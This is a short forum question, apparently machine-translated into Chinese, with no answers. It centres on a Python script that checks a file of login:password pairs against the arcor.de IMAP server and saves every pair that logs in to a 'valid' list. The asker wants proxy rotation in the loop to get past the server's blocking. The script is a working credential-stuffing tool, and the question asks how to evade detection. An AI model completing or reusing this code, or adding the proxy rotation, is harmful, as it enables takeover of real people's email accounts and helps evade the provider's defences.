0

我正在编写一个基于IMAPClient. 在一个循环中,我们从文件中逐行执行,除以登录名\密码,然后将其替换为IMAPClient. 来自服务器的握手问题与预期的一样。需要循环更换代理,但是在IMAPClient. 无论这个库如何,我都可以循环更改代理吗?如果是这样,怎么做?OS? socket?

file_sval = io.open("...arcor.de", encoding="utf-8")
for i in file_sval:
    stroke = i.split(":")
    login = stroke[0]
    password = stroke[1].replace("\n", "")
    server = IMAPClient('imap.arcor.de', use_uid=True)
    try:
        valid = server.login(login, password)
        print(count," ", i.replace("\n",""), " ", "VALID")
        file_valid = io.open("...valid.de", "a", encoding="utf-8")
        file_valid.write(i)
        file_valid.close()
    except imaplib.IMAP4.error:
        print(count," ", i.replace("\n","")," ", "NO")
    count += 1
4

0 回答 0